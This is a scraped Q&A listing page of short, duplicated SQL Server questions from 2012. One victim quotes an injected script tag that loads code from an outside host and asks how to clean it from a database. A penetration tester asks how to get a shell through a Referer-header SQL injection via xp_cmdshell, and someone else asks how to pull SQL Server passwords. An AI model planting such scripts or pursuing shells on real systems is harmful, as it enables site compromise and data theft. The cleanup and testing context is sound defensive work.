Remove SQL Injection script
I need a t-SQL routine that will remove this script ‘</title><script src=http://statsmy.com/ur.php ></script>’ from my MSSQL database. The routine needs to either ignore text / Ntext variables or also fix them. Thanks for your help!
Answer Question
| June 20, 2012 3:28 PM
SQL injection
I need a t-SQL routine that will remove this script ‘</title><script src=http://statsmy.com/ur.php ></script>’ from my MSSQL database. The routine needs to either ignore text / Ntext variables or also fix them. Thanks for your help!
Answer Question
| June 20, 2012 3:28 PM
SQL injection
Connecting MS SQL server and database.
Hi, i am trying to connect MS SQL server and database from visual c++ 2005. Can anybody help me please.
Answer Question
| June 19, 2012 10:19 AM
SQL Server 2005, Visual C++
Hi, i am trying to connect MS SQL server and database from visual c++ 2005. Can anybody help me please.
Answer Question
| June 19, 2012 10:19 AM
SQL Server 2005, Visual C++
SQL server
i want to copy the store peocedure from one database to another . iam using sql2005
Answer Question
| June 14, 2012 11:11 AM
Stored Procedures
i want to copy the store peocedure from one database to another . iam using sql2005
Answer Question
| June 14, 2012 11:11 AM
Stored Procedures
SQL server backup sqlvdi.dll not loaded into SQL memory
We have receiving SQLVDI.dll error when we try to take the SQL backup on EMC Networker.We checked the sqlvdi status as suggested in http://archive.msdn.microsoft.com/sqlbackupsim . But we have the status in simulator that [em]“VDI dll not loaded into SQL Memory yet” .[/em]We register the vdi dll manually after stopping the SQL service. But it doesn’t [...]
Answer Question
| June 12, 2012 11:31 AM
SQL 2008, SQL Server, Windows Server 2003 Standard Edition
We have receiving SQLVDI.dll error when we try to take the SQL backup on EMC Networker.We checked the sqlvdi status as suggested in http://archive.msdn.microsoft.com/sqlbackupsim . But we have the status in simulator that [em]“VDI dll not loaded into SQL Memory yet” .[/em]We register the vdi dll manually after stopping the SQL service. But it doesn’t [...]
Answer Question
| June 12, 2012 11:31 AM
SQL 2008, SQL Server, Windows Server 2003 Standard Edition
File server
I have a server 2008 R2 that while in Explorer on the left navigation pane show “Network” and under that a list of workgroup computers (it’s a file server) I have one computer in that network thats name is blue and underlined. Is there significance to this?
Answer Question
| June 19, 2012 12:14 AM
SQL Server 2008 R2
I have a server 2008 R2 that while in Explorer on the left navigation pane show “Network” and under that a list of workgroup computers (it’s a file server) I have one computer in that network thats name is blue and underlined. Is there significance to this?
Answer Question
| June 19, 2012 12:14 AM
SQL Server 2008 R2
CL/QMQRY
i hav code STRQMQRY QMQRY(SQLPROC) OUTPUT(*OUTFILE) + OUTFILE(QTEMP/SQLDT) In SQLProc txt file i am callin a sql procedure , developed using i series navigator and return data set using cursor. i want this cursor output in qtemp/sqldt file. in sqlproc if i mentioned SELECT statment , then it will work fine, but i want [...]
Answer Question
| June 7, 2012 12:16 PM
AS/400, QMQRY, SQL procedure
i hav code STRQMQRY QMQRY(SQLPROC) OUTPUT(*OUTFILE) + OUTFILE(QTEMP/SQLDT) In SQLProc txt file i am callin a sql procedure , developed using i series navigator and return data set using cursor. i want this cursor output in qtemp/sqldt file. in sqlproc if i mentioned SELECT statment , then it will work fine, but i want [...]
Answer Question
| June 7, 2012 12:16 PM
AS/400, QMQRY, SQL procedure
Crystal 8.5 export trouble
My Application is developed in Vb6,Sqlserver2003 and crystal report 8.5.this application is well run on windows XP,Server2003 etc. but now we are Shift our OS to Server 2008 R2 32 bit. application running well but when I trying to export reprot(i.e click on export button of the crystal report) suddenly application going to crash.I cant [...]
Answer Question
| June 5, 2012 9:48 AM
Crystal Reports 8.5, SQL Server 2003
My Application is developed in Vb6,Sqlserver2003 and crystal report 8.5.this application is well run on windows XP,Server2003 etc. but now we are Shift our OS to Server 2008 R2 32 bit. application running well but when I trying to export reprot(i.e click on export button of the crystal report) suddenly application going to crash.I cant [...]
Answer Question
| June 5, 2012 9:48 AM
Crystal Reports 8.5, SQL Server 2003
SQL Query
how to select only those table name from database that have a two field in table like PID amd EID table that have PID also have a EID in a single table those table i want to select
Answer Question
| June 4, 2012 1:14 PM
SQL Server, SQL Server tables
how to select only those table name from database that have a two field in table like PID amd EID table that have PID also have a EID in a single table those table i want to select
Answer Question
| June 4, 2012 1:14 PM
SQL Server, SQL Server tables
Error on Transaction log Backups
Getting error -1073548784, when trying to run a backup of transactions logs ( SQL SERVER 2008, STD ed). Can anyone help?
Answer Question
| May 30, 2012 9:15 PM
SQL Server backup
Getting error -1073548784, when trying to run a backup of transactions logs ( SQL SERVER 2008, STD ed). Can anyone help?
Answer Question
| May 30, 2012 9:15 PM
SQL Server backup
Scrip an select from linked Oracle database in Management studio gives multiply fields
In SQL Server 2008 R2 Management studio under Linked servers I want to script a select from an Oracle database table. The result is that many of the fields occur three times. What can the reason for that be? See this example: SELECT [RATETYPE],[RATETYPE],[RATETYPE] ,[FROMCURRENCY],[FROMCURRENCY],[FROMCURRENCY] ,[TOCURRENCY],[TOCURRENCY],[TOCURRENCY] ,[VALIDFROM],[VALIDFROM],[VALIDFROM],[EXCHRATE] ,[FROMFACTOR] ,[TOFACTOR] ,[CREATIONDATE],[CREATIONDATE],[CREATIONDATE] [...]
Answer Question
| May 30, 2012 11:42 AM
Oracle Database, SQL Server 2008 R2
In SQL Server 2008 R2 Management studio under Linked servers I want to script a select from an Oracle database table. The result is that many of the fields occur three times. What can the reason for that be? See this example: SELECT [RATETYPE],[RATETYPE],[RATETYPE] ,[FROMCURRENCY],[FROMCURRENCY],[FROMCURRENCY] ,[TOCURRENCY],[TOCURRENCY],[TOCURRENCY] ,[VALIDFROM],[VALIDFROM],[VALIDFROM],[EXCHRATE] ,[FROMFACTOR] ,[TOFACTOR] ,[CREATIONDATE],[CREATIONDATE],[CREATIONDATE] [...]
Answer Question
| May 30, 2012 11:42 AM
Oracle Database, SQL Server 2008 R2
Getting SQLCODE -518, while running EXECUTE Statement after PREPARE Statement in COBOL
I am executing a dynamic SELECT query (No CURSOR- Normal SELECT) WS-STRING - SELECT MEMBNO FROM ENBMAS WHERE MEMBNO = “3535″ EXEC SQL PREPARE SQLSELX FROM :WS-STRING END-EXEC SQLCODE = 0 EXEC SQL EXECUTE SQLSELX END-EXEC SQLCODE = -518 (THE EXECUTE STATEMENT DOES NOT IDENTIFY A VALID PREPARED STATEMENT) Please Help me out.. if [...]
Answer Question
| June 3, 2012 1:38 PM
Dynamic SQL
I am executing a dynamic SELECT query (No CURSOR- Normal SELECT) WS-STRING - SELECT MEMBNO FROM ENBMAS WHERE MEMBNO = “3535″ EXEC SQL PREPARE SQLSELX FROM :WS-STRING END-EXEC SQLCODE = 0 EXEC SQL EXECUTE SQLSELX END-EXEC SQLCODE = -518 (THE EXECUTE STATEMENT DOES NOT IDENTIFY A VALID PREPARED STATEMENT) Please Help me out.. if [...]
Answer Question
| June 3, 2012 1:38 PM
Dynamic SQL
Sql Server 2008R2 on Windows Sever 2008 R2
When i attempt to install it tells me that my operating system is not supported, rule “Operating system supported edition” failed. however when i check the list of valid operating system it is listed, anyone had this issue before or know why i wont recognize, thank you
Answer Question
| May 16, 2012 3:48 PM
SQL Server 2008, SQL Server 2008 R2, Windows Server 2008 R2
When i attempt to install it tells me that my operating system is not supported, rule “Operating system supported edition” failed. however when i check the list of valid operating system it is listed, anyone had this issue before or know why i wont recognize, thank you
Answer Question
| May 16, 2012 3:48 PM
SQL Server 2008, SQL Server 2008 R2, Windows Server 2008 R2
To get password fron sql server?
How to get SQL server’s login and password?pls: i know query for get it.
Answer Question
| May 21, 2012 10:51 AM
SQL Server, SQL Server Passwords
How to get SQL server’s login and password?pls: i know query for get it.
Answer Question
| May 21, 2012 10:51 AM
SQL Server, SQL Server Passwords
SQL trigger on column
Table have delete and update trigger. How to identify which columns are affected by this triigers? or which column have triggers ?
Answer Question
| May 9, 2012 4:46 AM
SQL Server, SQL Trigger
Table have delete and update trigger. How to identify which columns are affected by this triigers? or which column have triggers ?
Answer Question
| May 9, 2012 4:46 AM
SQL Server, SQL Trigger
Access and sql server wide tables
Does anyone know how to access sql server wide tables using Access
Answer Question
| May 5, 2012 7:01 PM
Access, SQL Server
Does anyone know how to access sql server wide tables using Access
Answer Question
| May 5, 2012 7:01 PM
Access, SQL Server
Creating New Data Source to SQL Server…
I am going into, Control Panel, Admin Tools, Data Sources (ODBC), under the, User DSN tab I’m choosing “Add…”, then choosing SQL Server. Then under server the one I need..well there are two with the same name, how can this be? A follow up question, not all accounts have access to this, but some do, [...]
Answer Question
| May 5, 2012 5:04 PM
Administrative tools, Data Sources, ODBC, SQL Server
I am going into, Control Panel, Admin Tools, Data Sources (ODBC), under the, User DSN tab I’m choosing “Add…”, then choosing SQL Server. Then under server the one I need..well there are two with the same name, how can this be? A follow up question, not all accounts have access to this, but some do, [...]
Answer Question
| May 5, 2012 5:04 PM
Administrative tools, Data Sources, ODBC, SQL Server
New Data Field in Stored Procedure
When I add a new data field in a Stored Procedure, how do I make the new field available to the Crystal Report?
Answer Question
| May 3, 2012 3:09 PM
Stored Procedure variables
When I add a new data field in a Stored Procedure, how do I make the new field available to the Crystal Report?
Answer Question
| May 3, 2012 3:09 PM
Stored Procedure variables
table size strange in SQL SERVER
Hi, I have 2 tables in SQL SERVER * TbUrl INDEX SPACE 12,531 MB ROW COUNT 247505 DATA SPACE 1.965,891 MB CREATE TABLE [TbUrl]( [IdUrl] [Int] IDENTITY(1,1) NOT NULL, [IdSupply] [Int] NOT NULL, [Url] [varchar](512) NOT NULL, [UrlCod] [varchar](256) NOT NULL, [Status] [Int] NOT NULL, [InsertionDate] [datetime] NOT NULL, [...]
Answer Question
| May 5, 2012 2:21 PM
Database, Microsoft SQL Server 2008, SQL Server
Hi, I have 2 tables in SQL SERVER * TbUrl INDEX SPACE 12,531 MB ROW COUNT 247505 DATA SPACE 1.965,891 MB CREATE TABLE [TbUrl]( [IdUrl] [Int] IDENTITY(1,1) NOT NULL, [IdSupply] [Int] NOT NULL, [Url] [varchar](512) NOT NULL, [UrlCod] [varchar](256) NOT NULL, [Status] [Int] NOT NULL, [InsertionDate] [datetime] NOT NULL, [...]
Answer Question
| May 5, 2012 2:21 PM
Database, Microsoft SQL Server 2008, SQL Server
Installing a named instance using another edition’s installer.
I have a SQL Server 2005 standard edition installed with a default instance. I need to install an additional named instance. However I could not find the standard edition installer CD; and my colleague managed to dig out a copy of the Express edition installer. Can i use the Express edition installer to install a [...]
Answer Question
| May 3, 2012 6:07 AM
SQL Server 2005, SQL Server editions, SQL Server installation
I have a SQL Server 2005 standard edition installed with a default instance. I need to install an additional named instance. However I could not find the standard edition installer CD; and my colleague managed to dig out a copy of the Express edition installer. Can i use the Express edition installer to install a [...]
Answer Question
| May 3, 2012 6:07 AM
SQL Server 2005, SQL Server editions, SQL Server installation
How can we get shell when dbms is SQL2008 and we found an sql vuln in REFERER field, which revealed version,dbs,tables etc?Sqlmap didn’t work.
Hello, During my last pen test I found an sql vulnerability in the REFERER field of the headers. This revealed me, using sqlmap with –referer option, the DBMS which is Microsot SQL 2008,all db names, tables, db users etc. My problem is that I cannot test if a shell can be spawned, since xp_cmdshell cannot [...]
Answer Question
| April 26, 2012 9:54 AM
MSSQL 2008, SQL injection
Hello, During my last pen test I found an sql vulnerability in the REFERER field of the headers. This revealed me, using sqlmap with –referer option, the DBMS which is Microsot SQL 2008,all db names, tables, db users etc. My problem is that I cannot test if a shell can be spawned, since xp_cmdshell cannot [...]
Answer Question
| April 26, 2012 9:54 AM
MSSQL 2008, SQL injection
